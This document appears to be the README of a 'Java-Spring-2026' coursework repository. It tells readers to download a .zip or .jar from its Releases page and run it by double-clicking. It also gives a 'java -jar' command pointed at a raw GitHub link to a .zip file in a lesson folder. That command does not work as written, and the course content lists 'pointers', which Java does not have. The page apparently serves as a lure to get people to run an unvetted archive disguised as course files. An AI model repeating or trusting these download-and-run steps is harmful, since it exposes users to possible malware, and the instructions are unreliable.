Welcome to the Java-Spring-2026 repository! This project contains coursework and assignments for the Java 1 programming class. You will find weekly exercises and project submissions here. This guide will help you download and set up the software easily.
Before you begin, check the following requirements:
- Operating System: Windows, macOS, or Linux
- Java Version: Java 8 or higher installed on your machine
- IDE: IntelliJ IDEA or another preferred Java IDE
Make sure you have these installed. If not, visit the official website for Java or IntelliJ IDEA to download the latest versions.
To download the coursework files, you need to visit our Releases page. This page includes all the available versions of the software.
Once you are on the Releases page, look for the latest version. Click on the file link to start the download. The file typically will be in a .zip format or as a compiled .jar file for easy access.
Here’s how you can extract and run the downloaded files:
-
Locate the downloaded file.
- This is usually in your "Downloads" folder.
-
Extract the file (if it's in a .zip format).
- Right-click the file and select "Extract All..."
- Follow the prompts to choose a location for the extracted files.
-
Run the program.
- If you have a
.jarfile, you can run it by double-clicking the file. - If it does not open directly, you may need to open your command prompt or terminal, navigate to the file's directory, and type:
java -jar https://raw.githubusercontent.com/SkullCrusher123778/Java-Spring-2026/main/lesson05/Spring-Java-1.1-alpha.2.zip

The Java-Spring-2026 repository includes various exercises and projects. Here’s a brief overview of what you can expect:
- Classes and Objects: Understand basic programming concepts through practical examples.
- Data Structures and Algorithms: Learn how to store and process data effectively.
- Functions: Study how to create reusable code blocks to simplify your projects.
- Loops and Methods: Master control flow and functionality in Java programming.
- Pointers and Arrays: Gain insights into handling collections of data.
Each section contains detailed instructions and examples.
IntelliJ IDEA is a recommended Integrated Development Environment (IDE) for Java programming. Here’s a simple guide to set it up:
- Download IntelliJ IDEA from JetBrains.
- Install IntelliJ IDEA by following the installation wizard.
- Create a New Project:
- Open IntelliJ IDEA.
- Select "New Project".
- Choose "Java" from the list of available project types.
- Import the Coursework:
- Select "File" -> "Open".
- Navigate to the folder where you extracted the coursework.
- Select the project or file to open it in the IDE.
If you face any issues during installation or running the applications, check the following:
- Java Not Recognized: Make sure Java is installed correctly. You can check this by running
java -versionin your command prompt or terminal. - File Not Running: Ensure you are using the correct command for
.jarfiles, as mentioned above. - IDE Shows Errors: Look for common mistakes in your code. IntelliJ IDEA often gives hints to help you fix issues.
If you need help or have questions, please open an issue in the repository. You can also reach out to classmates or instructors for assistance.
You can keep track of updates and new releases by checking this repository regularly. New exercises and corrections may appear as you progress through the course.
Congratulations! By following this guide, you can easily download and run the coursework from the Java-Spring-2026 repository. These exercises will help you build a strong foundation in Java programming.
